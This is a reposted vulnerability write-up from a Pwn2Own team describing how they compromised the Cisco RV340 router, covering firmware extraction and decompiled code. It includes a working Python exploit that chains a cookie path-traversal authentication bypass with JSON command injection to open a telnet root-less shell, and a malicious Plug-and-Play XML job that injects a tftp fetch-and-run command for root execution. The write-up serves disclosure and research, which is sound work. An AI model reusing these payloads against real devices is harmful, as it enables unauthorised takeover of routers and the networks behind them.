原文始发于 Bien Pham (@bienpnn):Exploiting Cisco RV340 router at Pwn2Own Austin 2021
At the 2021 Pwn2Own Austin, our offensive research team, Team Orca, successfully exploited the Cisco RV340 router. In this article, we will go into the details of the vulnerabilities we identified.
Target information
Cisco RV340 Dual WAN Router, 32-bit ARM EABI5 v1, firmware version 1.0.03.22.
Version 1.0.03.24 was released right before the competition, but it did not affect our entries.
Firmware extraction
Use binwalk
on the firmware file, we got the following information:
$ binwalk RV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 uImage header, header size: 64 bytes, header CRC: 0xA2BA8A, created: 2021-06-13 21:03:33, image size: 74777418 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0xFFE70AEC, OS: Linux, CPU: ARM, image type: Firmware Image, compression type: gzip, image name: "RV340 Firmware Package"
64 0x40 gzip compressed data, from Unix, last modified: 2021-06-13 21:03:31
13154529 0xC8B8E1 Encrypted Hilink uImage firmware header
36838414 0x2321C0E MySQL ISAM index file Version 9
Use dd
to strip the uImage header and get the firmware package:
$ dd bs=64 skip=1 if=RV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img of=rv340.tar.gz
Extract the firmware package:
$ tar -xvzf rv340.tar.gz
md5sum_fw-rv340
fw.gz
preupgrade.gz
preupgrade_md5sum
Extract the fw.gz
file:
$ tar -xvzf fw.gz
barebox-c2krv340.bin
firmware_time
firmware_version
img_version
md5sums_fw
openwrt-comcerto2000-hgw-rootfs-ubi_nand.img
openwrt-comcerto2000-hgw-uImage.img
preupgrade.gz
preupgrade_md5sum
Extract the root filesystem using ubi_reader:
$ ubireader_extract_files openwrt-comcerto2000-hgw-rootfs-ubi_nand.img
Extracting files to: ubifs-root/1161918421/rootfs
LAN exploitation chain
Like almost every router, RV340 ships with a web admin interface. It’s backed by nginx and uWSGI server. In order to use any of the endpoints, it is required to have a valid user session. However, the authentication mechanism can be easily broken. After bypassing authentication, we identified a command injection bug and abused it to achieve code execution.
NGINX sessionid Directory Traversal Authentication Bypass
ZDI ID: ZDI-22-409, ZDI-CAN-15610
CVE ID: CVE-2022-20705, CVE-2022-20707
CVSS Score: 8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
In file /etc/nginx/conf.d/web.upload.conf
, configuration for /upload
endpoint:
location /upload {
set $deny 1;
if (-f /tmp/websession/token/$cookie_sessionid) {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
It checks if the supplied sessionid
cookie is valid by checking for an existing file inside /tmp/websession/token
directory. However, if we specify a path to an existing file as sessionid
, for example ../../../etc/passwd
, the check will pass.
upload.cgi sessionid Improper Input Validation Authentication Bypass
ZDI ID: ZDI-22-410, ZDI-CAN-15882
CVE ID: CVE-2022-20705
CVSS Score: 8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
All CGI binaries for the web interface are located in /www/cgi-bin
directory. The upload.cgi
binary will handle all requests to /upload
endpoint. Analyzing this binary, we identified a check on sessionid
:
// v6 is sessionid
v6 && strlen(v6) - 16 <= 64 && !match_regex("^[A-Za-z0-9+=/]*$", v6)
Looks like if we use the path traversal above, this check will fail. But let’s look at how the sessionid
is extracted from HTTP_COOKIE
environment variable:
v6 = getenv("HTTP_COOKIE");
if ( v6 )
{
StrBufSetStr(v46, v6); // copy HTTP_COOKIE into v46
v6 = 0; // set v6 to NULL
v21 = (char *)StrBufToStr(v46); // v21 = string buffer of v46
// look for `;` character from end to start of HTTP_COOKIE (a way of exploding cookies)
for ( i = strtok_r(v21, ";", &save_ptr); i; i = strtok_r(0, ";", &save_ptr) )
{
// if found `sessionid=` substring at this position then set v6 to the cookie value
v23 = strstr(i, "sessionid=");
if ( v23 )
v6 = v23 + 10;
}
}
It will always use the leftmost cookie with sessionid=
substring. We can trick this function to use a valid cookie while nginx would still use our path traversal cookie like this:
Cookie: sessionid =../../../etc/passwd; sessionid=aaaaaaaaaaaaaaaa
nginx will trim the space between sessionid
and =
then use it as $cookie_sessionid
, while upload.cgi
will only detect the second sessionid
since the first cookie does not have sessionid=
substring.
upload.cgi JSON Command Injection
ZDI ID: ZDI-22-411, ZDI-CAN-15883
CVE ID: CVE-2022-20707
CVSS Score: 4.3 (AV:A/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L)
After authentication checking, upload.cgi
will use CURL to send a POST request to an internal service.
Below are the POST parameters that would be used:
file.path
: path to a temporary file (for uploading). Must exist and writable by www-data (for mv command). Usually just put /tmp/upload.input (which is the temporary file)filename
: original filenamefileparam
: the final filename on the router. Cannot be longer than 128 characters. Has a regex filter:^[a-zA-Z0-9_.-]*$
pathparam
: path where the file will be stored. Note that this is not a real path, but a string indicates which kind of directory this file will go to:
// (a1 is pathparam and v8 is the path string)
if ( !strcmp(a1, "Firmware") )
{
v8 = "/tmp/firmware";
}
else if ( !strcmp(a1, "Configuration") )
{
v8 = "/tmp/configuration";
}
else if ( !strcmp(a1, "Certificate") )
{
v8 = "/tmp/in_certs";
}
else if ( !strcmp(a1, "Signature") )
{
v8 = "/tmp/signature";
}
else if ( !strcmp(a1, "3g-4g-driver") )
{
v8 = (const char *)&unk_12A21;
}
else if ( !strcmp(a1, "Language-pack") )
{
v8 = "/tmp/language-pack";
}
else if ( !strcmp(a1, "User") )
{
v8 = "/tmp/user";
}
else
{
if ( strcmp(a1, "Portal") )
return -1;
v8 = "/tmp/www";
}
Based on pathparam
, other params would also be used. For example, Configuration
requires destination
parameter:
int __fastcall main(int a1, char **a2, char **a3)
{
// ...
// dword_2324C is the JSON object constructed from the POST parameters
jsonutil_get_string(dword_2324C, &v35, "\"file.path\"", -1);
jsonutil_get_string(dword_2324C, &haystack, "\"filename\"", -1);
jsonutil_get_string(dword_2324C, &v36, "\"pathparam\"", -1);
jsonutil_get_string(dword_2324C, &v37, "\"fileparam\"", -1);
jsonutil_get_string(dword_2324C, &v38, "\"destination\"", -1);
jsonutil_get_string(dword_2324C, &v39, "\"option\"", -1);
jsonutil_get_string(dword_2324C, &v40, "\"cert_name\"", -1);
jsonutil_get_string(dword_2324C, &v41, "\"cert_type\"", -1);
jsonutil_get_string(dword_2324C, &v42, "\"password\"", -1);
// ...
else if ( !strcmp(v5, "/upload") && v6 && strlen(v6) - 16 <= 0x40 && !match_regex("^[A-Za-z0-9+=/]*$", v6) )
{
v28 = v38;
v29 = v39;
v30 = v36;
v31 = StrBufToStr(v45);
sub_12684(v6, v28, v29, v30, v31, v40, v41, v42);
}
// ...
}
int __fastcall sub_12684(const char *a1, int a2, int a3, const char *a4, int a5, int a6, int a7, int a8)
{
// ...
if ( !strcmp(a4, "Configuration") )
{
v14 = sub_11AB0(a2, a5);
}
// ...
v17 = (const char *)json_object_to_json_string(v14);
sprintf(s, "curl %s --cookie 'sessionid=%s' -X POST -H 'Content-Type: application/json' -d '%s'", v13, a1, v17);
debug(&unk_12E77, s);
v18 = popen(s, "r");
// ...
}
int __fastcall sub_11AB0(int a1, int a2)
{
// ...
v22 = json_object_new_string(a1);
json_object_object_add(v14, "config-type", v22);
// ...
}
We can see that the destination
parameter is added to the final JSON object without any safety checks. The final JSON object is passed into the curl
command, again without any sanitization. So we can inject commands using destination
parameter. The command will be executed by www-data
user.
Exploit code
The exploit code will spawn a telnet
shell on port 4242
. Tested on firmware version 1.0.03.22 and 1.0.03.24.
#!/usr/bin/env python3
import sys
import requests
requests.post('https://{:s}/jsonrpc'.format(sys.argv[1]),
data=b'{"jsonrpc": "2.0", "method": "login", "params": {"user": "bienpnn", "pass": "bienpnn"}}', verify=False)
url = 'https://{:s}/upload'.format(sys.argv[1])
payload = {
'file.path': '/tmp/upload.input',
'filename': 'bienpnn',
'pathparam': 'Configuration',
'fileparam': 'bienpnn',
'destination': '\'; telnetd -l /bin/sh -p 4242 #'
}
files = [
('input', ('bienpnn', 'bienpnn', 'application/octet-stream'))
]
headers = {
'Cookie': 'sessionid =../../../etc/passwd; sessionid=aaaaaaaaaaaaaaaa'
}
requests.post(url, headers=headers, data=payload, files=files, verify=False)
print('telnetd shell spawned at {:s}:4242'.format(sys.argv[1]))
WAN exploitation chains
By capturing packets on the WAN port of the router, we saw some interesting DNS queries to pnpserver.<dns suffix provided by DHCP>
. Searching for pnpserver
, we found an article on Cisco DevNet: Open Plug N Play Protocol. Reading the article, we understood that the router would attempt to find a Plug N Play server by either DHCP option 43 or query the DNS server for pnpserver.<dns suffix provided by DHCP>
. By setting up a DHCP server and a DNS server on the WAN side, we can direct the router to use our own Plug N Play server.
Plug N Play Protocol specification
After discovering the PNP server, the PNP client will send an HTTP GET request to /pnp/HELLO
endpoint. The server should reply with response code 200 OK
. Then the client will send an HTTP POST request to /pnp/WORK-REQUEST
endpoint. The server can reply with a work command or tell the client to stop requesting works.
One of the work type that caught our eyes is Image Install
. It is used to push new firmware to the router. Below is an example of Image Install
work info:
<?xml version="1.0" encoding="UTF-8"?>
<pnp xmlns="urn:cisco:pnp" version="1.0" udi="PID:RV340-K9,VID:V05,SN:PSZ25111FHV">
<request xmlns="urn:cisco:pnp:image_install" correlator="Cisco-PnP-POSIX-smb-1.8.0.dev13-1-4a3ac3ec-bcd1-49cf-9bb5-80e8a0cf3b45-1">
<image>
<copy>
<source>
<location>>http://13.37.13.37/fw.img</location>
</source>
</copy>
</image>
</request>
</pnp>
Image Install
handler implementation
Plug N Play client implementation on RV340 router is located at /usr/lib/python2.7/site-packages/pnp
and /usr/lib/python2.7/site-packages/pnp_platform
. The Image Install
work handler is implemented in /usr/lib/python2.7/site-packages/pnp_platform/services/image_install.py
:
class ImageInstall(PnPService):
"""Services Install service
"""
pid = load_platform_info().get('pid', '')
src = ''
checksum = ''
reload_delay_in = ''
reload_save_config = ''
reload_reason = ''
reload_user = ''
local_image_name = ''
def run(self):
assert self.pid
try:
source = self.request['image']['copy']['source']
self.src = source.get('location') or source.get('uri')
source = self.request['image']['copy']['source']
self.checksum = source.get('checksum')
#We ignore dst, since we store image at ram disk /tmp.
#We download image, apply it and reboot.
#After reboot, image file is lost.
#self.dst = self.request['image']['copy']['destination']
#.get('location', '/tmp')
self.reload_reason = self.request['reload']['reason']
self.reload_delay_in = self.request['reload'].get('delay_in', '20')
self.reload_user = self.request['reload']['user']
self.reload_save_config = self.request['reload'].get('save_config', True)
self.logger.info("source location: %s", self.src)
#self.logger.info("destination location: %s", self.dst)
self.logger.info("checksum: %s", self.checksum)
except KeyError as err:
self.logger.error('image-install error accessing ' + str(err))
self.success = 0
self.set_error_info(code='INTERNAL', msg="Failed to parse request")
try:
cmd = save_config_cmd()
retcode = subprocess.call(cmd, shell=True)
if retcode != 0:
self.logger.error("unable to save config")
self.success = 0
self.set_error_info(severity='ERROR',
code='STARTUP_CFG_COPY_FAILED',
msg="Error save config")
return
(cmd, local_image_name) = download_cmd(self.src)
self.local_image_name = local_image_name
#self.logger.info("Will download " + cmd)
retcode = subprocess.call(cmd, shell=True)
if retcode != 0:
self.logger.error("unable to download image")
self.success = 0
self.set_error_info(severity='ERROR',
code='NO_SPACE_ON_DEST_FS',
msg="Error download image")
return
checksum = hashlib.md5(open(self.local_image_name,
'rb').read()).hexdigest()
self.logger.info("md5 is "+ checksum)
#APIC EM does not send md5. Not sure if it is mandatory
if self.checksum and checksum != self.checksum:
self.logger.info("checksum does not match")
self.success = 0
self.set_error_info(severity='ERROR', code='INTERNAL',
msg="Checksum mismatch!")
return
cmd = self._fw_upgrade_cmd()
assert cmd
self.logger.info("Will upgrade image. cmd: " + cmd)
proc = subprocess.Popen(cmd, shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
stdin=subprocess.PIPE)
out, _ = proc.communicate()
retcode = proc.poll()
self.logger.debug("stdout is: " + out)
self.logger.debug("retcode is: " + str(retcode))
if retcode or re.search('error', out, flags=re.IGNORECASE):
self.logger.error("unable to apply image")
self.success = 0
self.set_error_info(severity='ERROR',
code='IMG_SIGNATURE_NOT_VALID',
msg="Error apply image")
return
self.logger.info("Will reboot system in " + self.reload_delay_in)
action_args = [self.pid, self.reload_delay_in]
self.action = ServiceAction(reboot_action_2, 'reboot_2', *action_args)
self.success = 1
return
except Exception as err: #pylint:disable=broad-except
self.logger.exception("Image Install failed")
self.success = 0
self.set_error_info(severity='ERROR', code='INTERNAL',
msg=str(err))
return
def _bb2_fw_upgrade(self):
return 'rv340_fw_unpack.sh ' + self.local_image_name
def _pp_fw_upgrade(self):
return 'rv16x_26x_fw_unpack.sh ' + self.local_image_name
def _fw_upgrade_cmd(self):
if is_started_with_pattern("RV26", self.pid):
return self._pp_fw_upgrade()
elif is_started_with_pattern("RV16", self.pid):
return self._pp_fw_upgrade()
elif is_started_with_pattern("RV34", self.pid):
return self._bb2_fw_upgrade()
else:
self.logger.error('Cannot find pid: ' + self.pid)
Firmware Update Missing Integrity Check
ZDI ID: ZDI-22-408, ZDI-CAN-15611
CVE ID: CVE-2022-20703
CVSS Score: 8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Our router is RV340, so after the firmware is downloaded, rv340_fw_unpack.sh
will be called. The script is located at /usr/bin/rv340_fw_unpack.sh
. Analyzing the script, we found out that besides MD5 checks (which is included inside the firmware image), there are no verification checks on whether the downloaded image is from trusted sources or not. Also before executing the upgrade, it will execute preupgrade.sh
embedded in TAR archive preupgrade.gz
(refer to firmware extraction section for firmware image structure). So we can prepare a fake firmware package with malicious preupgrade
script, push it to the PNP client when it requests a job, and we will achieve code execution as root
.
Plug and Play Command Injection Remote Code Execution
ZDI ID: ZDI-22-418, ZDI-CAN-15774
CVE ID: CVE-2022-20706
CVSS Score: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
The Image Install
handler will call download_cmd
, which is located in /usr/lib/python2.7/site-packages/pnp_platform/utils/utilities.py
:
def download_cmd(src):
"""download cmd"""
cmd_map = {
'tftp':tftp_download,
'http':http_download,
}
src_list = re.split(r'\/*', src)
protocol = src_list[0]
try:
cmd_map[protocol]
except KeyError:
logger.info('use http as download protocol')
protocol = 'http'
return cmd_map[protocol](src)
If we specify tftp
as the source, tftp_download
will be called:
def tftp_download(src):
"""tftp download"""
src_list = re.split(r'\/*', src)
ip_addr = src_list[1]
base_name = src_list[-1]
full_name = os.path.join('/tmp', base_name)
logger.info("full_name " + full_name)
return ('cd /tmp; tftp -g -r ' + base_name + ' ' + ip_addr, full_name)
No checks for command injection is conducted here or in the Image Install
handler, so we can modify the source to achieve command execution. Example Image Install
job that demonstrates command injection using <location>
parameter, which is used in conjunction with a tftp server to deliver the shell script:
<?xml version="1.0" encoding="UTF-8"?>
<pnp xmlns="urn:cisco:pnp" version="1.0" udi="PID:RV340-K9,VID:V05,SN:PSZ25111FHV">
<request xmlns="urn:cisco:pnp:image_install" correlator="Cisco-PnP-POSIX-smb-1.8.0.dev13-1-4a3ac3ec-bcd1-49cf-9bb5-80e8a0cf3b45-1">
<image>
<copy>
<source>
<location>tftp/192.168.30.1;chmod +x shell.sh;PATH=.:$PATH shell.sh/shell.sh</location>
</source>
</copy>
</image>
</request>
</pnp>
转载请注明:Exploiting Cisco RV340 router at Pwn2Own Austin 2021 | CTF导航